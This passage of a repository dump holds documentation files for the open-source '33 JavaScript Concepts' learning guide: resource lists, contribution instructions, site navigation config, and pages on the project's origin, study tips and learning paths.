Official MDN reference for the Web Workers API.\n  </Card>\n  <Card title=\"Using Web Workers — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Using_web_workers\">\n    Comprehensive guide to creating and using Web Workers.\n  </Card>\n  <Card title=\"Worker — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/Worker\">\n    API reference for the Worker constructor and methods.\n  </Card>\n  <Card title=\"Structured Clone Algorithm — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Structured_clone_algorithm\">\n    How data is copied when using postMessage.\n  </Card>\n</CardGroup>\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"How Fast Are Web Workers? — Mozilla Hacks\" icon=\"newspaper\" href=\"https://hacks.mozilla.org/2015/07/how-fast-are-web-workers/\">\n    Performance analysis from Mozilla engineers. Answers \"is the overhead worth it?\" with real benchmarks.\n  </Card>\n  <Card title=\"Threading the Web with Module Workers — web.dev\" icon=\"newspaper\" href=\"https://web.dev/articles/module-workers\">\n    Deep dive into module workers with `type: 'module'`. Essential reading for modern worker patterns.\n  </Card>\n  <Card title=\"Using Web Workers for Safe Concurrent JavaScript — Smashing Magazine\" icon=\"newspaper\" href=\"https://www.smashingmagazine.com/2021/06/web-workers-2021/\">\n    Real-world examples including image processing and physics simulations. Great for seeing workers in action.\n  </Card>\n  <Card title=\"Comlink — Google Chrome Labs\" icon=\"newspaper\" href=\"https://github.com/GoogleChromeLabs/comlink\">\n    Library that makes workers feel like async functions. Eliminates postMessage boilerplate entirely.\n  </Card>\n</CardGroup>\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"Web Workers Explained — Web Dev Simplified\" icon=\"video\" href=\"https://www.youtube.com/watch?v=Gcp7triXFjg\">\n    Beginner-friendly 12-minute introduction. Perfect starting point if you've never used workers.\n  </Card>\n  <Card title=\"JavaScript Web Workers — Fireship\" icon=\"video\" href=\"https://www.youtube.com/watch?v=EiPytIxrZtU\">\n    Fast-paced 100-second overview. Great for quick refresher or deciding if you need workers.\n  </Card>\n  <Card title=\"Web Workers Crash Course — Traversy Media\" icon=\"video\" href=\"https://www.youtube.com/watch?v=tPwkKF8WAXs\">\n    Practical 30-minute deep dive with a real example. Shows the full workflow from problem to solution.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/contributing.mdx",
    "content": "---\ntitle: \"Contributing\"\ndescription: \"Want to contribute to 33 JavaScript Concepts? Learn how to submit improvements, fix issues, and help other developers learn.\"\n\"og:type\": \"website\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Community\"\n\"article:tag\": \"contribute open source, javascript community, github contributions, open source guide\"\n---\n\n## Welcome Contributors!\n\nThis project would not be possible without your help and support, and we appreciate your willingness to contribute!\n\n<Info>\nBy contributing, you agree that your contributions will be licensed under the [MIT license](https://github.com/leonardomso/33-js-concepts/blob/master/LICENSE).\n</Info>\n\n## How to Contribute\n\n<Steps>\n  <Step title=\"Fork the Repository\">\n    Start by forking the [main repository](https://github.com/leonardomso/33-js-concepts) to your GitHub account.\n  </Step>\n  <Step title=\"Make Your Changes\">\n    Add new resources, fix broken links, or improve existing content.\n  </Step>\n  <Step title=\"Submit a Pull Request\">\n    Create a pull request with a clear description of your changes.\n  </Step>\n</Steps>\n\n## Adding New Resources\n\nWhen adding new resources, please follow these guidelines:\n\n<AccordionGroup>\n  <Accordion title=\"Resource Quality\">\n    - Resources should be high-quality and educational\n    - Content should be accurate and up-to-date\n    - Prefer resources from reputable sources\n  </Accordion>\n  <Accordion title=\"Format\">\n    Include the author name in the link text:\n    ```markdown\n    - [Article Title — Author Name](URL)\n    ```\n  </Accordion>\n  <Accordion title=\"Categories\">\n    Place resources in the appropriate category:\n    - **Reference**: Official documentation (MDN, ECMAScript spec)\n    - **Articles**: Blog posts and tutorials\n    - **Videos**: YouTube tutorials and conference talks\n    - **Books**: Published books and free online books\n  </Accordion>\n</AccordionGroup>\n\n## Creating Translations\n\nWe welcome translations to make this resource accessible to developers worldwide!\n\n<Steps>\n  <Step title=\"Fork the Repository\">\n    Fork the [main repository](https://github.com/leonardomso/33-js-concepts) to your account.\n  </Step>\n  <Step title=\"Add Yourself to Watch List\">\n    Stay updated with changes by watching the main repository.\n  </Step>\n  <Step title=\"Translate the Content\">\n    Translate the content in your forked repository.\n  </Step>\n  <Step title=\"Update the README\">\n    Add a link to your translation in the Community section:\n    ```markdown\n    - [Your language (English name)](link-to-your-repo) — Your Name\n    ```\n  </Step>\n  <Step title=\"Submit a PR\">\n    Create a Pull Request with the title \"Add [language] translation\"\n  </Step>\n</Steps>\n\n## Code of Conduct\n\nPlease read our [Code of Conduct](https://github.com/leonardomso/33-js-concepts/blob/master/CODE_OF_CONDUCT.md) before contributing. We are committed to providing a welcoming and inclusive environment for all contributors.\n\n## Questions?\n\nIf you have any questions, feel free to:\n\n- Open an issue on [GitHub](https://github.com/leonardomso/33-js-concepts/issues)\n- Reach out to the maintainer [@leonardomso](https://github.com/leonardomso)\n\n<Card title=\"View on GitHub\" icon=\"github\" href=\"https://github.com/leonardomso/33-js-concepts\">\n  Check out the repository and start contributing today!\n</Card>\n"
  },
  {
    "path": "docs/docs.json",
    "content": "{\n  \"$schema\": \"https://mintlify.com/docs.json\",\n  \"theme\": \"maple\",\n  \"appearance\": {\n    \"default\": \"dark\",\n    \"strict\": true\n  },\n  \"name\": \"33 JavaScript Concepts\",\n  \"description\": \"Learn JavaScript with 33 essential concepts every developer should know. Free guide with clear explanations, practical code examples, and curated resources.\",\n  \"colors\": {\n    \"primary\": \"#F0DB4F\",\n    \"light\": \"#F0DB4F\",\n    \"dark\": \"#C9B83C\"\n  },\n  \"favicon\": \"/favicon.ico\",\n  \"thumbnails\": {\n    \"appearance\": \"dark\"\n  },\n  \"seo\": {\n    \"indexing\": \"navigable\",\n    \"metatags\": {\n      \"og:type\": \"website\",\n      \"og:site_name\": \"33 JavaScript Concepts\",\n      \"og:locale\": \"en_US\",\n      \"og:image\": \"https://33jsconcepts.com/og-image.png\",\n      \"twitter:card\": \"summary_large_image\",\n      \"twitter:site\": \"@leonardomso\",\n      \"twitter:creator\": \"@leonardomso\",\n      \"twitter:image\": \"/og-image.png\",\n      \"article:author\": \"Leonardo Maldonado\",\n      \"author\": \"Leonardo Maldonado\",\n      \"keywords\": \"JavaScript, JS, learn JavaScript, JavaScript tutorial, JavaScript concepts, JavaScript fundamentals, web development, programming, coding, closures, promises, async await, event loop, DOM, prototypes\",\n      \"language\": \"en\",\n      \"coverage\": \"Worldwide\",\n      \"distribution\": \"global\",\n      \"rating\": \"general\",\n      \"revisit-after\": \"7 days\",\n      \"category\": \"Technology, Education, Programming\"\n    }\n  },\n  \"search\": {\n    \"prompt\": \"Search concept...\"\n  },\n  \"metadata\": {\n    \"timestamp\": true\n  },\n  \"navbar\": {\n    \"links\": [\n      {\n        \"label\": \"GitHub\",\n        \"href\": \"https://github.com/leonardomso/33-js-concepts\"\n      }\n    ]\n  },\n  \"navigation\": {\n    \"tabs\": [\n      {\n        \"tab\": \"Learn\",\n        \"groups\": [\n          {\n            \"group\": \"Getting Started\",\n            \"icon\": \"rocket\",\n            \"pages\": [\n              \"index\",\n              \"getting-started/about\",\n              \"getting-started/how-to-learn\",\n              \"getting-started/prerequisites\",\n              \"getting-started/learning-paths\"\n            ]\n          },\n          {\n            \"group\": \"Fundamentals\",\n            \"icon\": \"cube\",\n            \"pages\": [\n              \"concepts/primitive-types\",\n              \"concepts/primitives-objects\",\n              \"concepts/type-coercion\",\n              \"concepts/equality-operators\",\n              \"concepts/scope-and-closures\",\n              \"concepts/call-stack\"\n            ]\n          },\n          {\n            \"group\": \"Functions & Execution\",\n            \"icon\": \"code\",\n            \"pages\": [\n              \"concepts/event-loop\",\n              \"concepts/iife-modules\"\n            ]\n          },\n{\n          \"group\": \"Web Platform\",\n          \"icon\": \"browser\",\n          \"pages\": [\n            \"concepts/dom\",\n            \"concepts/http-fetch\",\n            \"concepts/web-workers\"\n          ]\n        },\n        {\n          \"group\": \"Object-Oriented JS\",\n          \"icon\": \"sitemap\",\n          \"pages\": [\n            \"concepts/factories-classes\",\n            \"concepts/this-call-apply-bind\",\n            \"concepts/object-creation-prototypes\",\n            \"concepts/inheritance-polymorphism\"\n          ]\n        },\n        {\n          \"group\": \"Async JavaScript\",\n          \"icon\": \"clock\",\n          \"pages\": [\n            \"concepts/callbacks\",\n            \"concepts/promises\",\n            \"concepts/async-await\",\n            \"concepts/generators-iterators\"\n          ]\n        },\n        {\n          \"group\": \"Functional Programming\",\n          \"icon\": \"filter\",\n          \"pages\": [\n            \"concepts/higher-order-functions\",\n            \"concepts/pure-functions\",\n            \"concepts/map-reduce-filter\",\n            \"concepts/recursion\",\n            \"concepts/currying-composition\"\n          ]\n        },\n        {\n          \"group\": \"Advanced Topics\",\n          \"icon\": \"graduation-cap\",\n          \"pages\": [\n            \"concepts/javascript-engines\",\n            \"concepts/error-handling\",\n            \"concepts/regular-expressions\",\n            \"concepts/modern-js-syntax\",\n            \"concepts/es-modules\",\n            \"concepts/data-structures\",\n            \"concepts/algorithms-big-o\",\n            \"concepts/design-patterns\",\n            \"concepts/clean-code\"\n          ]\n        },\n        {\n          \"group\": \"What's Next?\",\n          \"icon\": \"arrow-right\",\n          \"pages\": [\n            \"beyond/getting-started/overview\"\n          ]\n        }\n      ]\n      },\n      {\n        \"tab\": \"Beyond 33\",\n        \"groups\": [\n          {\n            \"group\": \"Getting Started\",\n            \"icon\": \"rocket\",\n            \"pages\": [\n              \"beyond/getting-started/overview\"\n            ]\n          },\n          {\n            \"group\": \"Language Mechanics\",\n            \"icon\": \"gear\",\n            \"pages\": [\n              \"beyond/concepts/hoisting\",\n              \"beyond/concepts/temporal-dead-zone\",\n              \"beyond/concepts/strict-mode\"\n            ]\n          },\n          {\n            \"group\": \"Type System\",\n            \"icon\": \"code\",\n            \"pages\": [\n              \"beyond/concepts/javascript-type-nuances\"\n            ]\n          },\n          {\n            \"group\": \"Objects & Properties\",\n            \"icon\": \"cube\",\n            \"pages\": [\n              \"beyond/concepts/property-descriptors\",\n              \"beyond/concepts/getters-setters\",\n              \"beyond/concepts/object-methods\",\n              \"beyond/concepts/proxy-reflect\",\n              \"beyond/concepts/weakmap-weakset\"\n            ]\n          },\n          {\n            \"group\": \"Memory & Performance\",\n            \"icon\": \"bolt\",\n            \"pages\": [\n              \"beyond/concepts/memory-management\",\n              \"beyond/concepts/garbage-collection\",\n              \"beyond/concepts/debouncing-throttling\",\n              \"beyond/concepts/memoization\"\n            ]\n          },\n          {\n            \"group\": \"Modern Syntax & Operators\",\n            \"icon\": \"wand-magic-sparkles\",\n            \"pages\": [\n              \"beyond/concepts/tagged-template-literals\",\n              \"beyond/concepts/computed-property-names\"\n            ]\n          },\n          {\n            \"group\": \"Browser Storage\",\n            \"icon\": \"database\",\n            \"pages\": [\n              \"beyond/concepts/localstorage-sessionstorage\",\n              \"beyond/concepts/indexeddb\",\n              \"beyond/concepts/cookies\"\n            ]\n          },\n          {\n            \"group\": \"Events\",\n            \"icon\": \"bell\",\n            \"pages\": [\n              \"beyond/concepts/event-bubbling-capturing\",\n              \"beyond/concepts/event-delegation\",\n              \"beyond/concepts/custom-events\"\n            ]\n          },\n          {\n            \"group\": \"Observer APIs\",\n            \"icon\": \"eye\",\n            \"pages\": [\n              \"beyond/concepts/intersection-observer\",\n              \"beyond/concepts/mutation-observer\",\n              \"beyond/concepts/resize-observer\",\n              \"beyond/concepts/performance-observer\"\n            ]\n          },\n          {\n            \"group\": \"Data Handling\",\n            \"icon\": \"file-code\",\n            \"pages\": [\n              \"beyond/concepts/json-deep-dive\",\n              \"beyond/concepts/typed-arrays-arraybuffers\",\n              \"beyond/concepts/blob-file-api\",\n              \"beyond/concepts/requestanimationframe\"\n            ]\n          }\n        ]\n      },\n      {\n        \"tab\": \"Community\",\n        \"groups\": [\n          {\n            \"group\": \"Get Involved\",\n            \"icon\": \"users\",\n            \"pages\": [\n              \"contributing\",\n              \"translations\"\n            ]\n          }\n        ]\n      }\n    ]\n  },\n  \"redirects\": [\n    {\n      \"source\": \"/concepts/value-reference-types\",\n      \"destination\": \"/concepts/primitives-objects\"\n    }\n  ],\n  \"footer\": {\n    \"socials\": {\n      \"github\": \"https://github.com/leonardomso/33-js-concepts\",\n      \"x\": \"https://x.com/leonardomso\"\n    }\n  }\n}\n"
  },
  {
    "path": "docs/getting-started/about.mdx",
    "content": "---\ntitle: \"About This Project\"\nsidebarTitle: \"What is This Project?\"\ndescription: \"Discover the story behind 33 JavaScript Concepts. Learn what topics are covered, who this guide is for, and how it helps you become a better developer.\"\n\"og:type\": \"website\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Getting Started\"\n\"article:tag\": \"33 javascript concepts, javascript learning guide, open source javascript, github javascript project\"\n---\n\n## The Origin Story\n\nIn 2017, Stephen Curtis wrote an article titled [\"33 Fundamentals Every JavaScript Developer Should Know\"](https://medium.com/@stephenthecurt/33-fundamentals-every-javascript-developer-should-know-13dd720a90d1). It outlined the core concepts that separate developers who *use* JavaScript from developers who truly *understand* it.\n\n[Leonardo Maldonado](https://github.com/leonardomso) took this idea and built something bigger: a curated collection of the best resources for each concept. What started as a personal learning project became one of the most popular JavaScript repositories on GitHub.\n\n<Tip>\n**Recognition:** GitHub featured this project as one of the [top open source projects of 2018](https://github.blog/news-insights/octoverse/new-open-source-projects/#top-projects-of-2018).\n</Tip>\n\n---\n\n## Who Is This For?\n\nThis guide is for anyone who wants to learn JavaScript, regardless of your current level.\n\n| If you are... | This guide will help you... |\n|---------------|---------------------------|\n| **A complete beginner** | Build a solid foundation from the ground up |\n| **Self-taught** | Fill gaps in your knowledge |\n| **Preparing for interviews** | Understand concepts interviewers commonly ask about |\n| **An experienced developer** | Deepen your understanding of how JavaScript works |\n\nThere are no prerequisites. If you've never written a line of code, you can start here.\n\n---\n\n## The Original 33 Concepts\n\nThese are the original 33 concepts that inspired this project. We've since reorganized and expanded some topics, but this is the foundation:\n\n<AccordionGroup>\n  <Accordion title=\"Fundamentals (Concepts 1-6)\">\n    1. **Call Stack** - How JavaScript tracks function execution\n    2. **Primitive Types** - String, Number, Boolean, Null, Undefined, Symbol, BigInt\n    3. **Value Types vs Reference Types** - How data is stored and passed\n    4. **Type Coercion** - Implicit and explicit type conversion\n    5. **Equality Operators** - == vs === and how comparisons work\n    6. **Scope and Closures** - Where variables are accessible and how functions remember their environment\n  </Accordion>\n  \n  <Accordion title=\"Functions & Execution (Concepts 7-10)\">\n    7. **Expression vs Statement** - Understanding the difference\n    8. **IIFE, Modules, and Namespaces** - Code organization patterns\n    9. **Message Queue and Event Loop** - JavaScript's concurrency model\n    10. **Timers** - setTimeout, setInterval, and requestAnimationFrame\n  </Accordion>\n  \n  <Accordion title=\"JavaScript Engines (Concepts 11-13)\">\n    11. **JavaScript Engines** - V8, SpiderMonkey, and how JS runs\n    12. **Bitwise Operators** - Low-level operations and typed arrays\n    13. **DOM and Layout Trees** - How browsers render pages\n  </Accordion>\n  \n  <Accordion title=\"Object-Oriented JavaScript (Concepts 14-18)\">\n    14. **Factories and Classes** - Object creation patterns\n    15. **this, call, apply, and bind** - Context and function binding\n    16. **new, Constructor, instanceof** - Object instantiation\n    17. **Prototype Inheritance** - JavaScript's inheritance model\n    18. **Object.create and Object.assign** - Object manipulation methods\n  </Accordion>\n  \n  <Accordion title=\"Functional Programming (Concepts 19-23)\">\n    19. **map, reduce, filter** - Array transformation methods\n    20. **Pure Functions and Side Effects** - Functional programming basics\n    21. **Closures** - Functions that remember their scope\n    22. **Higher-Order Functions** - Functions that operate on functions\n    23. **Recursion** - Functions that call themselves\n  </Accordion>\n  \n  <Accordion title=\"Async JavaScript (Concepts 24-26)\">\n    24. **Collections and Generators** - Iterables and lazy evaluation\n    25. **Promises** - Handling asynchronous operations\n    26. **async/await** - Modern async syntax\n  </Accordion>\n  \n  <Accordion title=\"Advanced Topics (Concepts 27-33)\">\n    27. **Data Structures** - Arrays, Objects, Maps, Sets, and more\n    28. **Big O Notation** - Algorithm complexity analysis\n    29. **Algorithms** - Common algorithms in JavaScript\n    30. **Inheritance and Polymorphism** - OOP principles\n    31. **Design Patterns** - Proven solutions to common problems\n    32. **Currying and Composition** - Advanced functional techniques\n    33. **Clean Code** - Writing maintainable JavaScript\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## What We've Changed\n\nJavaScript and web development have evolved since the original list was created. We've updated this guide to better reflect what modern developers need to know.\n\n### Concepts We Added\n\n| Concept | Why We Added It |\n|---------|-----------------|\n| **Callbacks** | Essential for understanding async JavaScript before diving into Promises |\n| **HTTP and Fetch** | Every web developer needs to know how to make network requests |\n| **Web Workers** | Important for performance and running code off the main thread |\n| **Error Handling** | Critical for building reliable applications |\n| **Regular Expressions** | A fundamental tool for text processing and validation |\n| **Modern JS Syntax** | Destructuring, spread operator, and other ES6+ features are now standard |\n| **ES Modules** | The official module system for JavaScript |\n\n### Concepts We Removed or Merged\n\n| Original Concept | What Happened |\n|------------------|---------------|\n| **Expression vs Statement** | Covered within other concept pages where relevant |\n| **Timers** | Merged into the Event Loop concept |\n| **Bitwise Operators** | Rarely used in day-to-day JavaScript development |\n| **new, Constructor, instanceof** | Merged into Factories and Classes |\n| **Object.create and Object.assign** | Merged into Object Creation and Prototypes |\n\n<Info>\nThe goal isn't to have exactly 33 concepts. It's to give you the knowledge you need to truly understand JavaScript.\n</Info>\n\n---\n\n## What Makes This Guide Different?\n\n### Learn the Concept, Then Go Deeper\n\nEach concept page teaches you the topic directly with clear explanations and practical code examples. Once you understand the fundamentals, you'll find a curated list of articles, videos, and books to explore further.\n\n### Curated Resources\n\nEvery resource is hand-picked from across the web. Instead of one perspective, you get the best explanations from multiple teachers and sources.\n\n### Community-Driven\n\nHundreds of developers have contributed to this project. Resources are continuously reviewed, updated, and improved by the community.\n\n### Multiple Formats\n\nEveryone learns differently. Each concept includes:\n\n<CardGroup cols={3}>\n  <Card title=\"Articles\" icon=\"newspaper\">\n    In-depth written explanations\n  </Card>\n  <Card title=\"Videos\" icon=\"video\">\n    Visual explanations and talks\n  </Card>\n  <Card title=\"Books\" icon=\"book\">\n    Comprehensive deep-dives\n  </Card>\n</CardGroup>\n\n### Available in 40+ Languages\n\nThanks to our community of translators, this guide is accessible to developers worldwide. Check out the [translations page](/translations) to find your language.\n\n---\n\n## Ready to Continue?\n\n<CardGroup cols={2}>\n  <Card title=\"How to Learn\" icon=\"book-open\" href=\"/getting-started/how-to-learn\">\n    Learn how to use this guide effectively\n  </Card>\n  <Card title=\"Prerequisites\" icon=\"wrench\" href=\"/getting-started/prerequisites\">\n    Set up your learning environment\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/getting-started/how-to-learn.mdx",
    "content": "---\ntitle: \"How to Use This Guide\"\nsidebarTitle: \"How to Learn\"\ndescription: \"Learn how to study JavaScript effectively. Tips for practicing code, understanding concepts, and getting the most from each lesson in this guide.\"\n\"og:type\": \"website\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Getting Started\"\n\"article:tag\": \"learn javascript effectively, javascript study tips, coding practice, javascript exercises\"\n---\n\n## How Each Concept Page Works\n\nEvery concept page in this guide follows a consistent structure to help you learn effectively:\n\n<Steps>\n  <Step title=\"Overview\">\n    Each page starts with a clear explanation of the concept. We break down what it is, why it matters, and how it works in JavaScript.\n  </Step>\n  <Step title=\"Code Examples\">\n    You'll find practical code examples that demonstrate the concept. Run these in your browser's console or code editor to see them in action.\n  </Step>\n  <Step title=\"Common Mistakes\">\n    We highlight the mistakes developers commonly make so you can avoid them.\n  </Step>\n  <Step title=\"Key Takeaways\">\n    A summary of the most important points to remember.\n  </Step>\n  <Step title=\"Curated Resources\">\n    Hand-picked articles, videos, and book recommendations for deeper learning.\n  </Step>\n</Steps>\n\n---\n\n## Types of Resources\n\nEach concept includes multiple types of learning materials. Choose what works best for your learning style:\n\n<CardGroup cols={3}>\n  <Card title=\"Articles\" icon=\"newspaper\">\n    **Best for:** Deep understanding\n    \n    Written tutorials and explanations you can read at your own pace. Great for reference.\n  </Card>\n  <Card title=\"Videos\" icon=\"video\">\n    **Best for:** Visual learners\n    \n    Watch concepts explained visually. Many include animations and live coding.\n  </Card>\n  <Card title=\"Books\" icon=\"book\">\n    **Best for:** Comprehensive learning\n    \n    In-depth coverage for when you want to go deep on a topic.\n  </Card>\n</CardGroup>\n\n<Tip>\n**Mix it up.** If an article doesn't click, try watching a video on the same topic. Different explanations work for different people.\n</Tip>\n\n---\n\n## Tips for Effective Learning\n\n### 1. Don't Just Read - Practice\n\nReading about JavaScript isn't enough. You need to write code.\n\n```javascript\n// Don't just read this example - type it yourself\nconst numbers = [1, 2, 3, 4, 5]\nconst doubled = numbers.map(num => num * 2)\nconsole.log(doubled)  // [2, 4, 6, 8, 10]\n```\n\nOpen your browser's console (press F12) or use a code editor and actually run the examples. Modify them. Break them. See what happens.\n\n### 2. Take Your Time\n\nThis isn't a race. Some concepts will click immediately. Others might take days or weeks to fully understand. That's normal.\n\n| Concept Type | Typical Time to Understand |\n|--------------|---------------------------|\n| Basic syntax | Hours |\n| Core concepts (scope, closures) | Days to weeks |\n| Advanced patterns | Weeks to months |\n\n### 3. Follow the Order (Especially for Beginners)\n\nThe concepts build on each other. If you're new to JavaScript, start from the beginning:\n\n1. **Primitive Types** - What are the basic building blocks?\n2. **Value vs Reference Types** - How is data stored?\n3. **Scope and Closures** - Where can you access variables?\n4. **Call Stack** - How does JavaScript execute code?\n\nJumping ahead might leave gaps in your understanding.\n\n### 4. Revisit Concepts\n\nYou won't master a concept in one sitting. Plan to revisit:\n\n<Steps>\n  <Step title=\"First Pass\">\n    Read the overview and try the basic examples\n  </Step>\n  <Step title=\"Second Pass (1 week later)\">\n    Explore the curated resources. Watch a video or read an article.\n  </Step>\n  <Step title=\"Third Pass (1 month later)\">\n    Review and apply the concept in a real project\n  </Step>\n</Steps>\n\n### 5. Explain It to Someone Else\n\nThe best way to know if you understand something is to explain it. Try:\n\n- Writing a blog post about a concept you learned\n- Explaining it to a friend or colleague\n- Answering questions on Stack Overflow or Reddit\n\nIf you can't explain it simply, you don't understand it well enough yet.\n\n---\n\n## How Much Time Should You Spend?\n\nThere's no \"right\" answer, but here are some guidelines:\n\n| Your Goal | Suggested Pace |\n|-----------|---------------|\n| Casual learning | 1 concept per week |\n| Active study | 2-3 concepts per week |\n| Interview prep | 1 concept per day (review mode) |\n\n<Tip>\n**Quality over quantity.** It's better to deeply understand 5 concepts than to skim through all 33.\n</Tip>\n\n---\n\n## Using the Browser Console\n\nThe fastest way to practice is with your browser's built-in console:\n\n<Steps>\n  <Step title=\"Open DevTools\">\n    Press **F12** (or **Cmd+Option+J** on Mac) in any browser\n  </Step>\n  <Step title=\"Go to Console Tab\">\n    Click the \"Console\" tab\n  </Step>\n  <Step title=\"Type JavaScript\">\n    Type any JavaScript code and press Enter to run it\n  </Step>\n</Steps>\n\n```javascript\n// Try this in your console right now\nconst greeting = \"Hello, JavaScript!\"\nconsole.log(greeting)\n```\n\n---\n\n## Ready to Set Up?\n\n<CardGroup cols={2}>\n  <Card title=\"Prerequisites\" icon=\"wrench\" href=\"/getting-started/prerequisites\">\n    Get the tools you need to start learning\n  </Card>\n  <Card title=\"Learning Paths\" icon=\"map\" href=\"/getting-started/learning-paths\">\n    Find the right path for your experience level\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/getting-started/learning-paths.mdx",
    "content": "---\ntitle: \"Learning Paths\"\nsidebarTitle: \"Learning Paths\"\ndescription: \"Find the right JavaScript learning path for your level. Structured guides for beginners, intermediate developers, and technical interview preparation.\"\n\"og:type\": \"website\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Getting Started\"\n\"article:tag\": \"javascript learning path, javascript roadmap, beginner javascript, interview prep javascript\"\n---\n\n## Choose Your Path\n\nNot everyone starts from the same place. Choose a learning path that matches your experience and goals.\n\n<Tabs>\n  <Tab title=\"Beginner\">\n    **For:** Complete beginners or those new to JavaScript\n    \n    **Time:** 4-8 weeks at a comfortable pace\n    \n    Start here if you're new to programming or just starting with JavaScript.\n  </Tab>\n  <Tab title=\"Intermediate\">\n    **For:** Developers with some JavaScript experience\n    \n    **Time:** 2-4 weeks\n    \n    Choose this if you can write basic JavaScript but want to understand it more deeply.\n  </Tab>\n  <Tab title=\"Interview Prep\">\n    **For:** Preparing for technical interviews\n    \n    **Time:** 1-2 weeks (review mode)\n    \n    Focus on concepts commonly asked in JavaScript interviews.\n  </Tab>\n</Tabs>\n\n---\n\n## Beginner Path\n\nIf you're new to JavaScript, follow this order. Each concept builds on the previous ones.\n\n<Steps>\n  <Step title=\"Week 1-2: The Fundamentals\">\n    Start with the building blocks of JavaScript.\n    \n    1. [Primitive Types](/concepts/primitive-types) - What types of data exist in JavaScript?\n    2. [Primitives vs Objects](/concepts/primitives-objects) - How do JavaScript values behave differently?\n    3. [Type Coercion](/concepts/type-coercion) - How JavaScript converts between types\n    4. [Equality Operators](/concepts/equality-operators) - The difference between == and ===\n  </Step>\n  \n  <Step title=\"Week 3-4: Scope and Functions\">\n    Understand how JavaScript organizes and executes code.\n    \n    5. [Scope and Closures](/concepts/scope-and-closures) - Where variables are accessible\n    6. [Call Stack](/concepts/call-stack) - How JavaScript tracks function calls\n    7. [Event Loop](/concepts/event-loop) - How async code works\n  </Step>\n  \n  <Step title=\"Week 5-6: Working with Data\">\n    Learn to transform and manipulate data.\n    \n    8. [Higher-Order Functions](/concepts/higher-order-functions) - Functions that work with functions\n    9. [map, reduce, filter](/concepts/map-reduce-filter) - Essential array methods\n    10. [Pure Functions](/concepts/pure-functions) - Writing predictable code\n  </Step>\n  \n  <Step title=\"Week 7-8: Async JavaScript\">\n    Handle operations that take time.\n    \n    11. [Callbacks](/concepts/callbacks) - The original async pattern\n    12. [Promises](/concepts/promises) - Modern async handling\n    13. [async/await](/concepts/async-await) - Clean async syntax\n  </Step>\n</Steps>\n\n<Info>\n**Take your time.** There's no rush. If a concept doesn't click, spend more time on it before moving on. Revisit the resources, try different explanations, and practice with code.\n</Info>\n\n---\n\n## Intermediate Path\n\nYou know JavaScript basics. Now deepen your understanding with these concepts:\n\n<Steps>\n  <Step title=\"How JavaScript Works\">\n    Understand what's happening under the hood.\n    \n    1. [Call Stack](/concepts/call-stack) - How function execution is tracked\n    2. [Event Loop](/concepts/event-loop) - The concurrency model\n    3. [JavaScript Engines](/concepts/javascript-engines) - V8 and how code runs\n  </Step>\n  \n  <Step title=\"Object-Oriented JavaScript\">\n    Master objects and prototypes.\n    \n    4. [this, call, apply, bind](/concepts/this-call-apply-bind) - Context binding\n    5. [Object Creation and Prototypes](/concepts/object-creation-prototypes) - The prototype chain\n    6. [Factories and Classes](/concepts/factories-classes) - Object creation patterns\n    7. [Inheritance and Polymorphism](/concepts/inheritance-polymorphism) - OOP in JavaScript\n  </Step>\n  \n  <Step title=\"Functional Programming\">\n    Write cleaner, more predictable code.\n    \n    8. [Pure Functions](/concepts/pure-functions) - Side-effect free functions\n    9. [Higher-Order Functions](/concepts/higher-order-functions) - Functions as values\n    10. [Currying and Composition](/concepts/currying-composition) - Advanced patterns\n    11. [Recursion](/concepts/recursion) - Functions that call themselves\n  </Step>\n  \n  <Step title=\"Advanced Patterns\">\n    Level up your code quality.\n    \n    12. [Design Patterns](/concepts/design-patterns) - Proven solutions\n    13. [Error Handling](/concepts/error-handling) - Graceful failure\n    14. [Clean Code](/concepts/clean-code) - Writing maintainable code\n  </Step>\n</Steps>\n\n---\n\n## Interview Prep Path\n\nTechnical interviews often focus on these concepts. Make sure you can explain them clearly and write code examples.\n\n### Must-Know Concepts\n\nThese come up in almost every JavaScript interview:\n\n| Concept | Why It's Asked | Key Things to Know |\n|---------|---------------|-------------------|\n| [Closures](/concepts/scope-and-closures) | Tests fundamental understanding | How inner functions access outer variables |\n| [this keyword](/concepts/this-call-apply-bind) | Common source of bugs | The four binding rules |\n| [Promises](/concepts/promises) | Essential for async code | Chaining, error handling, Promise.all |\n| [Event Loop](/concepts/event-loop) | Shows deep understanding | Call stack, task queue, microtasks |\n| [Prototypes](/concepts/object-creation-prototypes) | JavaScript's inheritance | Prototype chain, Object.create |\n\n### Common Interview Questions by Topic\n\n<AccordionGroup>\n  <Accordion title=\"Scope and Closures\">\n    - What is a closure? Give an example.\n    - What's the difference between `var`, `let`, and `const`?\n    - Explain lexical scope.\n    - What is hoisting?\n    \n    **Study:** [Scope and Closures](/concepts/scope-and-closures)\n  </Accordion>\n  \n  <Accordion title=\"this Keyword\">\n    - What are the rules for `this` binding?\n    - What's the difference between `call`, `apply`, and `bind`?\n    - How does `this` work in arrow functions?\n    - What's the output of [tricky this code]?\n    \n    **Study:** [this, call, apply, bind](/concepts/this-call-apply-bind)\n  </Accordion>\n  \n  <Accordion title=\"Async JavaScript\">\n    - What's the difference between callbacks, promises, and async/await?\n    - How does the event loop work?\n    - What are microtasks vs macrotasks?\n    - How do you handle errors in async code?\n    \n    **Study:** [Promises](/concepts/promises), [async/await](/concepts/async-await), [Event Loop](/concepts/event-loop)\n  </Accordion>\n  \n  <Accordion title=\"Objects and Prototypes\">\n    - How does prototypal inheritance work?\n    - What's the difference between classical and prototypal inheritance?\n    - Explain `Object.create()`.\n    - What's the prototype chain?\n    \n    **Study:** [Object Creation and Prototypes](/concepts/object-creation-prototypes)\n  </Accordion>\n  \n  <Accordion title=\"Data Structures and Algorithms\">\n    - Implement common array methods (map, filter, reduce).\n    - What's the time complexity of [operation]?\n    - When would you use a Map vs an Object?\n    \n    **Study:** [Data 